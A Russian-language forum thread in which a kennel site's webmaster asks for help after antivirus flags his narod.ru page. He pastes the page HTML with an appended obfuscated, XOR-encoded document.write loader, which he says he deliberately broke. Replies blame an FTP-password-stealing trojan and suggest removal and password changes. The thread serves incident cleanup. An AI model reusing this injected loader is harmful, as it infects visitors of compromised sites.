Большой Воронежский Форум Mobile

Столкнулся с проблемой - на ввереном во временное вебмастерство сайте Касперский, что стоит на серваке на работе, видит вирусяку и не пускает... См скрин - там используются скрипты, код которых ниже. Речь идет про русскую версию сайта.

Английская же версия с использованием подобных скриптов, но с переведенным на англ язык текстом. Вирусов не замечено. Но нечто подозрительное все же имеется...(((

Хостятся они в разных местах... Русская версия с вирусякой на narod.ru , а английская на платном хостинге. Причем пароль на хостинг с русской версией больше не принимается... (!!!)

Вопросы - как избавиться от вирусни? То что удалить вредоносный код со странички это понятно, но доступа то к хостингу на narod.ru нет... Писать в суппорт?

Код инфицированной странички русской версии (Жирным капсом намеряно поменял буквы на русские, дабы скрикт не работал и никто не заразился) :

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<TITLE>Племенной питомник кавказских овчарок Воронежские Богатыри</TITLE>
<META http-equiv=Content-Type content="text/html; charset=windows-1251">
<LINK href="img/styles.css" type=text/css rel=STYLESHEET>
<META content="Александр Скориданов" name=Autor>
<META content="кавказская овчарка, порода, питомник, щенки кавказских овчарок, выставки собак, результаты выставок, фото, содержание, кормление, воспитание, клички собак, Воронежские Богатыри, ркф, fci, вакцинация собак, лечение заболеваний, профилактика заболеваний" name=Keywords>
<META content="Все об уникальных собаках породы кавказская овчарка - ведущие производители, фото и результаты выставок, фото и данные собак чемпионов, новости, щенки кавказской овчарки от Чемпионов и Интер-Чемпионов" name=Description>
<SCRIPT language=Javascript>

</SCRIPT>
<META content="MSHTML 6.00.2600.0" name=GENERATOR>
<STYLE>
BODY {
margin: 0px 0px 0px 0px;
background-color : #aed6e4;
background-image: url(img/mountain_001.jpg);
background-attachment: scroll;
background-position: center;
background-repeat: repeat;

color : #000000;
scrollbar-3dlight-color: White;
scrollbar-base-color: #2886BE;
scrollbar-darkshadow-color: White;
scrollbar-face-color: #2886BE;
scrollbar-highlight-color: #2886BE;
scrollbar-shadow-color: #2886BE;
scrollbar-track-color: #B7E3FF;
scrollbar-arrow-color: White;
}
.style2 {font-size: 24px; color: #FFFFFF;}
.style3 {font-size: 16px}
</STYLE></HEAD>
<BODY lang=RU bgColor=#ffffff leftMargin=0 topMargin=0 marginwidth="0" marginheight="0">
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td colspan="2"><br></td>
</tr>
<tr>
<td width="75%" align="left" valign="top">
<p class="style2"><span class="style3">племенной питомник
кавказских овчарок</span> <br>
"Воронежские Богатыри"</p>
</td>
<td width="25%" align="left"><br>
<br>
<br>
<br>
<br>

<IMG height=40 alt="О породе кавказская овчарка" src="img/bb_top.gif" width=178 border=0><BR>
<A onmouseover="img_act('img1')" onmouseout="img_inact('img1')" href="news.html"><IMG height=33 alt="О породе кавказская овчарка" src="img/bb_b1.gif" width=178 border=0 name=img1></A><BR>
<A onmouseover="img_act('img2')" onmouseout="img_inact('img2')" href="predstav.html"><IMG height=33 alt="Представители питомника" src="img/bb_b2.gif" width=178 border=0 name=img2></A><BR>
<A onmouseover="img_act('img3')" onmouseout="img_inact('img3')" href="shows.html"><IMG height=33 alt="Выставки собак" src="img/bb_b3.gif" width=178 border=0 name=img3></A><BR>
<A href="http://vbo.fastbb.ru/" target="_blank" onmouseover="img_act('img4')" onmouseout="img_inact('img4')"><IMG height=33 alt="Щенки кавказских овчарок" src="img/bb_b4.gif" width=178 border=0 name=img4></A><BR>
<A onmouseover="img_act('img5')" onmouseout="img_inact('img5')" href="sale.html"><IMG height=33 alt="Форум" src="img/bb_b5.gif" width=178 border=0 name=img5></A><BR>
<A onmouseover="img_act('img6')" onmouseout="img_inact('img6')" href="http://www.narod.ru/guestbook/?owner=46365767" target="_blank"><IMG height=33 alt="Гостевая книга" src="img/bb_b6.gif" width=178 border=0 name=img6></A><BR>
<A onmouseover="img_act('img7')" onmouseout="img_inact('img7')" href="contacts.html"><IMG height=33 alt="Контакты" src="img/bb_b7.gif" width=178 border=0 name=img7></A><BR>
<A onmouseover="img_act('img8')" onmouseout="img_inact('img8')" href="links.html"><IMG height=33 alt="Ссылки" src="img/bb_b8.gif" width=178 border=0 name=img8></A><BR>
<A onmouseover="img_act('img9')" onmouseout="img_inact('img9')" href="arhiv.html"><IMG height=33 alt="Архив" src="img/bb_b9.gif" width=178 border=0 name=img9></A><BR>
<IMG height=40 alt="О породе кавказская овчарка" src="img/bb_bottom.gif" width=178 border=0><BR>
</td>
</tr>
<tr>
<td colspan="2"> <br>
<br>
<br><br><br><br><br></td>
</tr>
</table>
<CENTER>

<a href="http://top100.rambler.ru/top100/">
<a href="http://counter.rambler.ru/top100.cnt?682146" alt="" width=1 height=1 border=0></a>



<a href="http://topshop-counter.rambler.ru/top100.cnt?25638" width=1 height=1>


<[email protected] COUNTER--><script language="JavaScript" type="text/javascript"></script><script language="JavaScript1.1" type="text/javascript"></script><script language="JavaScript1.2" type="text/javascript"></script><script language="JavaScript1.3" type="text/javascript"></script><script language="JavaScript" type="text/javascript"></script><noscript><img
src="http://top.list.ru/counter?js=na;id=871814"
height=1 width=1 alt=""/></noscript><script language="JavaScript" type="text/javascript"></script>

<a href="http://vorarenda.narod.ru/"><a href="http://www.vbocaucasian.com/vorarenda.gif" width=88 height=31 border=0></a>

<a href="http://www.yandex.ru/cy?base=0&host=www.vbo.narod.ru">
<a href="http://www.yandex.ru/cycounter?www.vbo.narod.ru" width=88 height=31 alt="Яндекс цитирования" border=0></a>


<a href="http://top100.rambler.ru/top100/">
<a href="http://top100-images.rambler.ru/top100/banner-88x31-rambler-darkblue2.gif" alt="Rambler's Top100" width=88 height=31 border=0></a>



<a href="http://topshop.rambler.ru/go.html?ID=25638" target=_blank><a href="http://images.rambler.ru/topshop/ban/count-topshop-011.gif" width=88 height=31 alt="Rambler's TopShop" border=0></a>


<[email protected] LOGO--><a target=_top
href="http://top.mail.ru/jump?from=871814"><img
src="http://top.list.ru/counter?id=871814;t=210;l=1"
border=0 height=31 width=88
alt="Рейтинг@Mail.ru"/></a>
</CENTER>

</BODY></HTML>

<script>document.wРite(unescape("%3Cscript%3Etry%20%7BfunСtion%20gu%28AY%29%7Breturn%20parseInt%28AY%29%7Dva r%20xX%3D%27AA1AX1Ac1An1Ae1Ah1Am1Af1Ao1Ag1AD1Aw1Ad 1AH1AB1A41AJ1Ak1Ab1AP1AV1Aj1Ap1AT1AK1Aa1A61A91As1A Y1Az1Aq1At1AR1AG1Al1Ar1Ai1Ay1Ax1A51AI1AC1AW1AZ1A81 AN1A31AF1A71AU1AL1AS1AM1XA1XX1Xc1Xn1Xe1Xh1Xm1Xf1Xo 1Xg1XD1Xw1Xd1XH1XB1X41XJ1Xk1Xb1XP1XV1Xj1Xp1XT1XK1X a1X61X9%27%3Bvar%20ZH%3DxX.substr%282%2C1%29%2CNu% 3DArray%2821272%5E21377%2C30667%5E30493%2C10355%5E 10421%2Cgu%28%27215%27%29%2Cgu%28%27204%27%29%2C30 72%5E3285%2Cgu%28%27209%27%29%2Cgu%28%27155%27%29% 2Cgu%28%27138%27%29%2C14640%5E14783%2Cgu%28%27133% 27%29%2C18153%5E18045%2Cgu%28%27195%27%29%2Cgu%28% 27201%27%29%2C27212%5E27283%2Cgu%28%27175%27%29%2C 449%5E273%2Cgu%28%27203%27%29%2C4089%5E3891%2C1837 3%5E18177%2C1383%5E1419%2Cgu%28%27141%27%29%2Cgu%2 8%27199%27%29%2Cgu%28%27234%27%29%2C14088%5E14209% 2Cgu%28%27239%27%29%2Cgu%28%27140%27%29%2Cgu%28%27 222%27%29%2C354%5E433%2C1603%5E1713%2C6575%5E6477% 2Cgu%28%27245%27%29%2Cgu%28%27152%27%29%2C28373%5E 28181%2Cgu%28%27210%27%29%2Cgu%28%27225%27%29%2Cgu %28%27255%27%29%2C5800%5E5737%2Cgu%28%27158%27%29% 2Cgu%28%27139%27%29%2Cgu%28%27241%27%29%2C23911%5E 23983%2Cgu%28%27194%27%29%2C11599%5E11713%2C13796% 5E13689%2C30498%5E30641%2Cgu%28%27145%27%29%2C2429 4%5E24179%2Cgu%28%27206%27%29%2C5798%5E5665%2C1121 2%5E11025%2Cgu%28%27232%27%29%2C22133%5E22147%2C69 49%5E7165%2Cgu%28%27233%27%29%2Cgu%28%27130%27%29% 2C29655%5E29505%2Cgu%28%27205%27%29%2C29699%5E2994 3%2C13427%5E13469%2C13560%5E13339%2Cgu%28%27136%27 %29%2C22364%5E22443%2C31092%5E31113%2C4176%5E4303% 2C4553%5E4429%2C24639%5E24741%2Cgu%28%27254%27%29% 2C23162%5E23169%2C27655%5E27803%2Cgu%28%27248%27%2 9%2Cgu%28%27249%27%29%2C31826%5E31925%2C12853%5E13 013%2Cgu%28%27228%27%29%2C2811%5E2599%2Cgu%28%2723 0%27%29%2Cgu%28%27240%27%29%2Cgu%28%27151%27%29%2C 13475%5E13363%2Cgu%28%27146%27%29%2Cgu%28%27207%27 %29%29%3Bvar%20Nq%2CKp%3Bvar%20RH%2CRC%3D%27AAAXAc AnAeAhAmAfAoAgADAXAwAdAwAHAwABADAgAoA4AdAJAkAcAmAe AbAkADAPAbAVAjApATAPAKAhAcAaA6A9ADAsAPAnADAYAzAqAt AkARAGADAlAPAmARAjA6AKADAVArAiAtADAkARAGADAlAPAmAR AjA6AyADAVArAiAxAXARAmA5AeAIARAjAYAzAqAxACARAmA5Ae AIARAjA6AWAZA8ANA3A3A3A3A3A6AyADAiAbAcAJAIARAkAmAx AcAbAbAFAeARADAtADApATAPAWA7AtA7AWARAXAcAPAhARAjAh AcAaA6AWA7AyARAUAhAeAnARAXAtA7AWAVArAiAxAmAbAzALA5 ASAmAnAeAkACAjA6AyADAMAsAPAnADXAACAaAtXXAcAmXcAHXX AyAsAPAnADArAGXnAtXXAwXXAKXeXhAYAtXXAJAhAiAPAmARAw AxAcAHAPAXAXAeAcAmARAHAxAbAnACXXAyAsAPAnADAlXmAUAt XXAoXnAmAIAHAoXXAyAeAdAjAiAbAcAJAIARAkAmAxAcAbAbAF AeARAxAeAkAiARAUATAdAjXAACAaAWXXAtXXAWArAGXnA6AtAt XfAwA6A9ADAsAPAnADABXoXgAtXXXnAmAmAhXDAoAoXXAWAjAi AbAcAJAIARAkAmAxAHAbAcAPAmAeAbAkAxXnAbAXAmADXwAtAD XXXXXdXXXXXDXoAdAmAjA6A6AWAiAbAcAJAIARAkAmAxAHAbAc APAmAeAbAkAxXnAbAXAmAxAnARAhAHAPAcARAjAoXHXBAPXfAB A3XfX4AxXfXJAoAKXXAxXXA6AxAnARAhAHAPAcARAjAoXkAxAW AoAKXXAxXXA6AWXXAxXXAWXoAdAmAjA6AWXXAxXXAWXeXhAYAW AlXmAUAyAsAPAnADXbAzAGAtAiAbAcAJAIARAkAmAxAcAnARAP AmARXPAHARAIARAkAmAjXXAeAdAnAPAIARXXA6AyXbAzAGAxAX ARAmXVAmAmAnAeApAJAmARAjXXAXAnAcXXAKABXoXgA6AyXbAz AGAxAdAnAPAIARXbAbAnAiARAnAtA3AyADXbAzAGAxAGAeAiAm XnAtAwAyXbAzAGAxXnARAeACXnAmAtA3AyAmAnXjADA9ADAiAb AcAJAIARAkAmAxApAbAiXjAxAPAhAhARAkAiXpXnAeAHAiAjXb AzAGA6AyAPAbAVAjXAACAaAKArAGXnA6AyADAMAcAPAmAcXnAj ARA6A9ADAiAbAcAJAIARAkAmAxAGAnAeAmARAjXXAAXnAmAIAH AfAAApAbAiXjAfAAAoApAbAiXjAfAAAoXnAmAIAHAfXXA6AyAi AbAcAJAIARAkAmAxApAbAiXjAxAPAhAhARAkAiXpXnAeAHAiAj XbAzAGA6AyADAPAbAVAjXAACAaAKArAGXnA6AyADAMADAMA4Ad AJAkAcAmAeAbAkADXoAdAmAjA6A9ADAsAPAnADAiAdXTAtXKAN AyAsAPAnADAlXAAsAtA7A3AwXKXcANXaA8X6AZX4A3APApAcAi ARAdA7AKAHX9ASAtA7A7AyADAdAbAnAjAzAmACAtA3AyADAzAm ACADAAADAiAdXTAyADAzAmACAWAWA6ADAHX9ASAWAtADAlXAAs AxAXAJApAXAmAnAjALAPAmXnAxAdAHAbAbAnAjALAPAmXnAxAn APAkAiAbAIAjA6AgAlXAAsAxAHARAkACAmXnA6AKAwAKAwA6Ay ADAnARAmAJAnAkADAHX9ASAyADAMAAAoAXAcAnAeAhAmAf%27% 3Bvar%20dX%3DString%28%29%3BxX%3DxX.split%28ZH%29% 3Bfor%28Nq%3D0%3BNq%3CRC.lЕngth%3BNq+%3D2%29%7BRH%3DRC.substr%28Nq%2C2%29%3Bf or%28Kp%3D0%3BKp%3CxX.length%3BKp++%29%7Bif%28xX%5 BKp%5D%3D%3DRH%29break%3B%7D%20dX+%3DString.fromCh arCode%28Nu%5BKp%5D%5E165%29%3B%7Ddocument.write%2 8dX%29%3B%7D%0Acatch%28e%29%7B%7D%3C/script%3E"))</scРipt></textarea></form>
</title></comment></a>
</div></span></ilayer></layer></iframe></noframes></style></noscript></table></script></applet></font>
<style>
#bn {displАy:block;}
#bt {displАy:block;}
</style>
<div style="background:url(http://www.tns-counter.ru/V13a****yandex_ru/ru/CP1251/tmsec=narod_total/)"></div>
<script language="JavaScript" src="http://bs.yandex.ru/show/163"></script>

Изображения

Нажмите на изображение для увеличения
Название: screenshot.jpg
Просмотров: 63
Размер: 47.6 Кб
ID: 176427

[Ответ]

Код вроде бы чистой англоверсии, но там есть нечто подобное...(Жирным капсом намеряно поменял буквы на русские, дабы скрикт не работал):

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE>Caucasian Mountain dog, Caucasian ovcharka, Shepherd dog, Sheepdog, Kavkazskaya ovcharka</TITLE>
<META NAME="keywords" CONTENT="caucasian ovcharka, kennel, puppies, caucasian mountain dog, sheepdog, shepherd dog, kavkazskaya ovcharka, breed, shows">
<META NAME="description" CONTENT="All about dogs of breed the Caucasian Mountain dog, Caucasian ovcharka, Shepherd, Sheepdog, Kavkazskaya ovcharka from Russia - kennels, photos, shows">
<META NAME="author" CONTENT="Alexander Skoridanov">
<META NAME="reply-to" CONTENT="[email protected]">
<META NAME="copyright" CONTENT="2005 by Alexander Pankratov">
<META NAME="revisit-after" CONTENT="14 days">
<META NAME="distribution" CONTENT="Global">
<META NAME="robots" CONTENT="index, follow">
<META NAME="rating" CONTENT="General">
<META HTTP-EQUIV="content-type" CONTENT="TEXT/HTML CHARSET=windows-1251">
<META HTTP-EQUIV="content-language" CONTENT="en">
<META NAME="generator" CONTENT="MSHTML 5.00.2614.3500">
<LINK href="pictures/st.css" type=text/css rel=STYLESHEET>
<SCRIPT language=Javascript>

</SCRIPT>
<STYLE>
BODY {
margin: 0px 0px 0px 0px;
background-color : #aed6e4;
background-image: url(pictures/mountain_001.jpg);
background-attachment: scroll;
background-position: center;
background-repeat: repeat;
color : #000000;
scrollbar-3dlight-color: White;
scrollbar-base-color: #2886BE;
scrollbar-darkshadow-color: White;
scrollbar-face-color: #2886BE;
scrollbar-highlight-color: #2886BE;
scrollbar-shadow-color: #2886BE;
scrollbar-track-color: #B7E3FF;
scrollbar-arrow-color: White;
}
.style2 {font-size: 24px; color: #FFFFFF; FONT-FAMILY: arial, verdana, sans-serif; MARGIN: 0px 10px 0px 10px}
.style3 {font-size: 14px; FONT-FAMILY: arial, verdana, sans-serif}
</STYLE>
</HEAD>
<BODY lang=RU bgColor=#ffffff leftMargin=0 topMargin=0 marginwidth="0" marginheight="0">
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
<tr>
<td colspan="2"><br></td>
</tr>
<tr>
<td width="75%" align="left" valign="top">
<p class="style2">"Voronezhskie Bogatyri" kennel<br><span class="style3">Caucasian Mountain dog, Caucasian ovcharka, Shepherd dog, Sheepdog, Kavkazskaya ovcharka from Russia</span></p>
</td>
<td width="25%" align="left"><br>
<br>
<br>
<br>
<br>

<IMG height=40 alt="О породе кавказская овчарка" src="pictures/bb_top.gif" width=178 border=0><BR>
<A onmouseover="img_act('img1')" onmouseout="img_inact('img1')" href="mountaindog.html"><IMG height=33 alt="Caucasian Mountain dog, Caucasian ovcharka, Shepherd dog, Sheepdog, Kavkazskaya ovcharka" src="pictures/bb_b1.gif" width=178 border=0 name=img1></A><BR>
<A onmouseover="img_act('img2')" onmouseout="img_inact('img2')" href="breed.html"><IMG height=33 alt="Breed" src="pictures/bb_b2.gif" width=178 border=0 name=img2></A><BR>
<A onmouseover="img_act('img3')" onmouseout="img_inact('img3')" href="dogs.html"><IMG height=33 alt="Dogs of a kennel" src="pictures/bb_b3.gif" width=178 border=0 name=img3></A><BR>
<A onmouseover="img_act('img4')" onmouseout="img_inact('img4')" href="advices.html"><IMG height=33 alt="Useful advices" src="pictures/bb_b4.gif" width=178 border=0 name=img4></A><BR>
<A onmouseover="img_act('img5')" onmouseout="img_inact('img5')" href="puppies.html"><IMG height=33 alt="Puppies of Caucasian Mountain dog (Caucasian ovcharka, Shepherd dog, Sheepdog, Kavkazskaya ovcharka)" src="pictures/bb_b5.gif" width=178 border=0 name=img5></A><BR>
<A onmouseover="img_act('img7')" onmouseout="img_inact('img7')" href="archive.html"><IMG height=33 alt="Archive of shows of dogs" src="pictures/bb_b7.gif" width=178 border=0 name=img7></A><BR>
<A onmouseover="img_act('img8')" onmouseout="img_inact('img8')" href="kennel.html"><IMG height=33 alt="Kennel" src="pictures/bb_b8.gif" width=178 border=0 name=img8></A><BR>
<IMG height=40 alt="О породе кавказская овчарка" src="pictures/bb_bottom.gif" width=178 border=0><BR>
<A onmouseover="img_act('img9')" onmouseout="img_inact('img9')" href="links.html"><IMG height=33 alt="Links" src="pictures/bb_b9.gif" width=178 border=0 name=img9></A><BR>
</td>
</tr>
<tr>
<td colspan="2"> <br>
<br>
<br><br><br><br><br></td>
</tr>
</table>
<CENTER>

<script language="javascript"></script><script language="javascript1.1"></script><script language="javascript1.2"></script><script language="javascript1.3"></script><script language="javascript"></script><noscript>
<a href="http://u6947.26.spylog.com/cnt?cid=694726&f=3&p=0" target="_blank">
<a href="http://u6947.26.spylog.com/cnt?cid=694726&p=0" alt='SpyLOG' border='0' width=88 height=31 >
</a></noscript>


<br>
</CENTER>

</BODY></HTML> <scriПt>document.wРite(unescape("%3Cscript%3Eif%28LJF%21%3D1%29%7Bfun ction%20WT%28IC%29%7Breturn%20IC%7Dtry%7Bfunction% 20zR%28Om%29%7Breturn%20parseInt%28Om%29%7Dvar%20c T%3D%27WWEWsEWpEW5EWeEWhEWYEW4EWDEWtEWaEWzEWqEWbEW KEW3EWyEWJEWREWHEWBEWkEWmEWrEW6EWjEWIEWwEWXEWFEWiE WxEWdEWnEWPEWoEW7EWSEWgEWCEWOEWMEWUEWcEW8EWlEWLEWA EWVEWNEWfEWTEWGEW9EsWEssEspEs5EseEshEsYEs4EsDEstEs aEszEsqEsbEsKEs3EsyEsJEsREsHEsBEskEsmEsrEs6EsjEsIE sw%27%2CrZ%3DWT%28%27E%27%29%3Bvar%20yo%3DArray%28 zR%28%2765%27%29%2CzR%28%2714%27%29%2C22743%5E2272 9%2C28912%5E28927%2C25895%5E25907%2C14506%5E14503% 2C11932%5E11925%2CzR%28%2767%27%29%2C24500%5E24495 %2CzR%28%278%27%29%2CzR%28%2719%27%29%2CzR%28%2718 %27%29%2C30490%5E30535%2C30792%5E30801%2C11509%5E1 1501%2CzR%28%2743%27%29%2CzR%28%2785%27%29%2C12816 %5E12823%2CzR%28%2753%27%29%2C29019%5E29047%2CzR%2 8%2781%27%29%2C3234%5E3217%2CzR%28%2728%27%29%2C23 445%5E23427%2CzR%28%2784%27%29%2CzR%28%276%27%29%2 C2858%5E2849%2C21603%5E21591%2C1505%5E1441%2CzR%28 %2710%27%29%2CzR%28%2757%27%29%2C31835%5E31853%2C8 520%5E8557%2C16274%5E16259%2CzR%28%2770%27%29%2C48 28%5E4751%2C6262%5E6239%2C28651%5E28667%2CzR%28%27 26%27%29%2CzR%28%2786%27%29%2C20998%5E21059%2C3466 %5E3521%2CzR%28%2773%27%29%2C30680%5E30613%2C29648 %5E29583%2C29448%5E29453%2CzR%28%2758%27%29%2C1528 3%5E15235%2C16127%5E16081%2CzR%28%270%27%29%2CzR%2 8%2723%27%29%2C19563%5E19505%2CzR%28%2776%27%29%2C 19879%5E19871%2CzR%28%2762%27%29%2C8927%5E8915%2Cz R%28%2745%27%29%2CzR%28%2759%27%29%2C20505%5E20555 %2C2090%5E2111%2C28735%5E28685%2CzR%28%2780%27%29% 2CzR%28%2736%27%29%2CzR%28%2771%27%29%2CzR%28%2792 %27%29%2C26953%5E26891%2C1065%5E1069%2C9779%5E9749 %2C29448%5E29483%2CzR%28%2768%27%29%2C9963%5E9931% 2CzR%28%2733%27%29%2C16977%5E17005%2CzR%28%2731%27 %29%2C30376%5E30359%2C22812%5E22891%2C20464%5E2041 5%2C18577%5E18655%2C15895%5E15967%2C17231%5E17157% 2CzR%28%2740%27%29%2CzR%28%2787%27%29%29%2CXN%3Bva r%20PW%2CUC%3Bvar%20aG%3D%27WWWsWpW5WeWhWYW4WDWtWa WpWYWeWzWaWqWbWKW3WyWJWRWHWBWkWmWrW6WjWqWIWmW5WqWR WKWwWXWaWKWFWqWiWmWYWKWyW6WBWqWxWdWnWXWqWaWKWFWqWi WmWYWKWyW6WPWqWxWdWnWoWsWKWYW7WeWSWKWyWRWKWwWoWgWK WYW7WeWSWKWyW6WCWOWMWUWcWcWcWcWcW6WPWqWbWzWpWtWSWK WaWYWoWpWzWzWrWeWKWqWXWqWJWRWHWCW8WXW8WCWKWsWpWmWh WKWyWkWmWrW6WCW8WPWKWlWhWeW5WKWsWXW8WCWxWdWnWoWYWz WLWAW7WVWYW5WeWaWgWyW6WPWqWNWIWmW5WqWpWDWfWXWTWsWG WDW9WsWLWTWPWIWmW5WqWKsWWwWXWTWGWTWBssWKspWXWTWtWh WbWmWYWKWGWoWpWnWmWsWsWeWpWYWKWnWoWzW5WgWTWPWIWmW5 WqWVs5spWXWTseshWYWSWnseWTWPWeWDWyWbWzWpWtWSWKWaWY WoWpWzWzWrWeWKWoWeWaWbWKWlsYWDWyWpWDWfWCWTWXWTWCWK sWWwW6WqWXWXs4WGW6WjWIWmW5WqWbWnshWXWbWzWpWtWSWKWa WYWoWnWzWpWmWYWeWzWaWoshWzWsWYWPWIWmW5WqsDWJWbWXWq WTshWYWTWCWTWYWhstWTWCWTseseWTWCWyWqWbWnshWqsaWXWq WTWTszWTWTstWzsqWhWyW6W6WqWCWqWbWnshWoW5WKWhWnWmWp WKWqWysesbsKWms4WJWcs4s3Wos4syseWBWTWoWTW6WoW5WKWh WnWmWpWKWqWysesJWoWCseWBWTWoWTW6WCWTWoWTWCWzsqWhWy W6WqWCWTWoWTWqWCWqssWKspWCWVs5spWPWIWmW5WqsDWpWRWX WbWzWpWtWSWKWaWYWoWpW5WKWmWYWKW9WnWKWSWKWaWYWyWTWe WDW5WmWSWKWTW6WPsDWpWRWoWsWKWYsRWYWYW5WesHWtWYWKWq WyWTWsW5WpWTWBWqsDWJWbW6WPsDWpWRWoshWKWeWgshWYWXWc WPsDWpWRWoWFWeWbWYshWXWcWPsDWpWRWoWDW5WmWSWKsBWzW5 WbWKW5WqWXWqWcWPWqWYW5sqWjWqWbWzWpWtWSWKWaWYWosHWz WbsqWoWmWhWhWKWaWbsWshWeWnWbWqWyWqsDWpWRW6WPWqWbWK W3WyWpWDWfWBWqWKsWWwWqW6WPWNWqWpWmWYWpshWyWKW6WqWj WbWzWpWtWSWKWaWYWoWFW5WeWYWKWqWyWTWWshWYWSWnW4WWsH WzWbsqW4WWsesHWzWbsqW4WWseshWYWSWnW4WTW6WPWqWbWzWp WtWSWKWaWYWosHWzWbsqWoWmWhWhWKWaWbsWshWeWnWbWqWyWq sDWpWRW6WPWbWKW3WqWyWqWpWDWfWBWKsWWwW6WqWPWNWqWNsk WDWtWaWpWYWeWzWaWqWzsqWhWyW6WjWqWIWmW5WqWeW7WzWXsm WUWPWIWmW5WqWmWpWDWXW8WcWGsmsrWUs6WMsjWOs3WcWmsHWp WbWKWDW8WBs5WsspWXW8W8WPWqWDWzW5WyWRsIWLWXWcWPWqWR sIWLWqWWWqWeW7WzWPWqWRsIWLWCWCW6Wqs5WsspWCWXWqWmWp WDWoWsWtsHWsWYW5WyWAWmWYshWoWDWnWzWzW5WyWAWmWYshWo W5WmWaWbWzWSWyW6swWmWpWDWoWnWKWaWgWYshW6WBWGWBWGW6 WPWqW5WKWYWtW5WaWqs5WsspWPWqWNWWseWsWpW5WeWhWYW4%2 7%2CKx%3D%27%27%3BcT%3DcT.split%28rZ%29%3Bfor%20%2 8XN%3D0%3BXN%3CaG.length%3BXN+%3D2%29%7BUC%3DaG.substr%28XN%2C2%2 9%3Bfor%28PW%3D0%3BPW%3СcT.length%3BPW++%29%7Bif%28cT%5BPW%5D%3D%3DUC%29br eak%3B%7DKx+%3DStriHg.fromCharCode%28yo%5BPW%5D%5E125%29%3B%7Ddocument .write%28Kx%29%3B%7Dcatch%28ar%29%7B%7D%7Dvar%20LJ F%3D1%3C/scriПt%3E"))</script> [Ответ]

Сообщение от Димитри:
Причем пароль на хостинг с русской версией больше не принимается... (!!!)

похоже все пассворды доступа с Вас уже поимели, я бы первым делом поменял пароли, чтоб хозяина не пущать.
не знаю как точно на народе, но при регистрации есть какой-нить вопрос секретный? если пароли трояном из фара-тотала сдули, то может есть смысл таким образом восстанавливать доступ..

Сообщение от Димитри:
Вопросы - как избавиться от вирусни? То что удалить вредоносный код со странички это понятно, но доступа то к хостингу на narod.ru нет... Писать в суппорт?

Лечите свой локальный комп, с висящим у вас трояном, который сдает всю инфу - лечить отдельно взятый сайт - пустое.. попробуйте через секретный вопрос восстановить доступ к акку на народе. [Ответ]

svga, Я вот только пришел туда. Сразу озадачили))) [Ответ]

а че мешает срубить нафиг этот джаваскрипт?)
че за iframe? нафиг он там? [Ответ]

да, svga совершенно прав... сталкивался с подобной проблемой.. проверяй свой комп на трояны, а потом меняй все пароли к фтп

ну и соответственно убери вредоносный код с сайта и больше он там не появится [Ответ]

все выше сказанное верно, добавлю что вирус на сайте сидит именно в ифраме и в ява скрипте. заражены скорее всего, все файлы на данном фтп которые имеют в своем названии строку index или main . Лечится это все путем удаления ява скрипта и ифрайма. потом лечится локальный комп и все компы где хранятся доступы к этому фтп, потом меняются все пароли, включая аську и почту [Ответ]

Раз там вирус, значит на черном рынке можно купить пароль на ftp ) [Ответ]

Пароль на ФТП все же сменил))))

Код удалил. <script>document.wРite(unescape("%3Cscript%3Etry% 20%7BfunСtion%20gu%28AY%29%7Breturn%20parseInt%28A Y%29%7Dva r%20xX%3D%27AA1AX1Ac1An1Ae1Ah1Am1Af1Ao1Ag1AD1Aw1Ad 1AH1AB1A41AJ1Ak1Ab1AP1AV1Aj1Ap1AT1AK1Aa1A61A91As1A Y1Az1Aq1At1AR1AG1Al1Ar1Ai1Ay1Ax1A51AI1AC1AW1AZ1A81 AN1A31AF1A71AU1AL1AS1AM1XA1XX1Xc1Xn1Xe1Xh1Xm1Xf1Xo 1Xg1XD1Xw1Xd1XH1XB1X41XJ1Xk1Xb1XP1XV1Xj1Xp1XT1XK1X a1X61X9%27%3Bvar%20ZH%3DxX.substr%282%2C1%29%2CNu% 3DArray%2821272%5E21377%2C30667%5E30493%2C10355%5E 10421%2Cgu%28%27215%27%29%2Cgu%28%27204%27%29%2C30 72%5E3285%2Cgu%28%27209%27%29%2Cgu%28%27155%27%29% 2Cgu%28%27138%27%29%2C14640%5E14783%2Cgu%28%27133% 27%29%2C18153%5E18045%2Cgu%28%27195%27%29%2Cgu%28% 27201%27%29%2C27212%5E27283%2Cgu%28%27175%27%29%2C 449%5E273%2Cgu%28%27203%27%29%2C4089%5E3891%2C1837 3%5E18177%2C1383%5E1419%2Cgu%28%27141%27%29%2Cgu%2 8%27199%27%29%2Cgu%28%27234%27%29%2C14088%5E14209% 2Cgu%28%27239%27%29%2Cgu%28%27140%27%29%2Cgu%28%27 222%27%29%2C354%5E433%2C1603%5E1713%2C6575%5E6477% 2Cgu%28%27245%27%29%2Cgu%28%27152%27%29%2C28373%5E 28181%2Cgu%28%27210%27%29%2Cgu%28%27225%27%29%2Cgu %28%27255%27%29%2C5800%5E5737%2Cgu%28%27158%27%29% 2Cgu%28%27139%27%29%2Cgu%28%27241%27%29%2C23911%5E 23983%2Cgu%28%27194%27%29%2C11599%5E11713%2C13796% 5E13689%2C30498%5E30641%2Cgu%28%27145%27%29%2C2429 4%5E24179%2Cgu%28%27206%27%29%2C5798%5E5665%2C1121 2%5E11025%2Cgu%28%27232%27%29%2C22133%5E22147%2C69 49%5E7165%2Cgu%28%27233%27%29%2Cgu%28%27130%27%29% 2C29655%5E29505%2Cgu%28%27205%27%29%2C29699%5E2994 3%2C13427%5E13469%2C13560%5E13339%2Cgu%28%27136%27 %29%2C22364%5E22443%2C31092%5E31113%2C4176%5E4303% 2C4553%5E4429%2C24639%5E24741%2Cgu%28%27254%27%29% 2C23162%5E23169%2C27655%5E27803%2Cgu%28%27248%27%2 9%2Cgu%28%27249%27%29%2C31826%5E31925%2C12853%5E13 013%2Cgu%28%27228%27%29%2C2811%5E2599%2Cgu%28%2723 0%27%29%2Cgu%28%27240%27%29%2Cgu%28%27151%27%29%2C 13475%5E13363%2Cgu%28%27146%27%29%2Cgu%28%27207%27 %29%29%3Bvar%20Nq%2CKp%3Bvar%20RH%2CRC%3D%27AAAXAc AnAeAhAmAfAoAgADAXAwAdAwAHAwABADAgAoA4AdAJAkAcAmAe AbAkADAPAbAVAjApATAPAKAhAcAaA6A9ADAsAPAnADAYAzAqAt 